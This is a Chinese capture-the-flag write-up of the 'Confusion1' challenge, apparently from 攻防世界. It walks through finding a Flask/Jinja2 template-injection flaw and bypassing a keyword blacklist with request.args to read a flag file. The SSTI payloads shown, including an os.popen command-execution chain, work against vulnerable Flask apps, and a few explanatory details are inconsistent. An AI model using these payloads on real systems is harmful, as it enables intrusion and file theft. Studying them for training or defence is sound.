【攻防世界】Confusion1
进入题目,是一条蟒蛇缠绕着一头大象,结合题目描述,推断出此系统使用了php+python,并且是Python代码问题(php的标志是大象,Python的标志是蛇)。

顶上有 Login 和 Register 两个按钮,点进去看却都是Not Found,不过在源码中错误信息中提示了flag的位置

根据 PHP+Python ,猜测存在 SSTI 漏洞,在url后面添加{{3+3}},

界面返回2,我们输入的1+1被执行了,说明服务器执行了{{}}里面这一段代码,存在SSTI漏洞。
猜测这里使用的应该是 Python 的 Flask 框架( Flask 使用 Jinja2 作为模板引擎 ) 。
所以本题的思路就是,利用SSTI读取flag文件。
SSTI常用的注入:
__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类
尝试使用经典payload直接读取flag:
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}
失败,被过滤了

经过尝试,发现系统过滤了class、 subclasses、 read等关键方法。
{{ ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() }}
{{ ('').__class__.__base__.__subclasses__()[91].__init__.__globals__['open']('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').readlines() }}
但是并未过滤request。
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。
所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。
payload如下:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
解析
-
{{ }}:
-
这是 Jinja2 模板引擎的语法,用于输出变量或表达式的值。
-
-
''[request.args.a]...:
-
这里使用单引号字符串作为起点,然后通过访问
request.args字典来动态构建表达式。request.args是 Flask 中用于访问 URL 查询参数的字典。
-
-
request.args.a:
-
根据 URL 参数,这里
a被设置为__class__,它是一个内置属性,指向对象的类。
-
-
request.args.b:
-
根据 URL 参数,这里
b被设置为__mro__,它是一个元数据属性,返回类的线性化方法解析顺序(Method Resolution Order)。
-
-
[2]:
-
这里尝试访问
__mro__返回列表的第三个元素(索引从 0 开始),通常是type类。
-
-
request.args.c:
-
根据 URL 参数,这里
c被设置为__subclasses__,这是一个内置方法,返回类的所有子类列表。
-
-
()[40]:
-
这里尝试访问
__subclasses__()返回列表的第 41 个元素(索引从 0 开始)。这个索引可能被选择来访问一个特定的子类,例如str或int,这取决于具体的 Python 版本和环境。
-
-
('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt'):
-
这是尝试调用选定子类的构造函数,传入文件路径作为参数。
-
-
[request.args.d]:
-
根据 URL 参数,这里
d被设置为read,这是一个方法名,用于读取文件内容。
-
拿到flag
cyberpeace{dcbc3e5a28ac5d08b68cc76520cbd96f}


浙公网安备 33010602011771号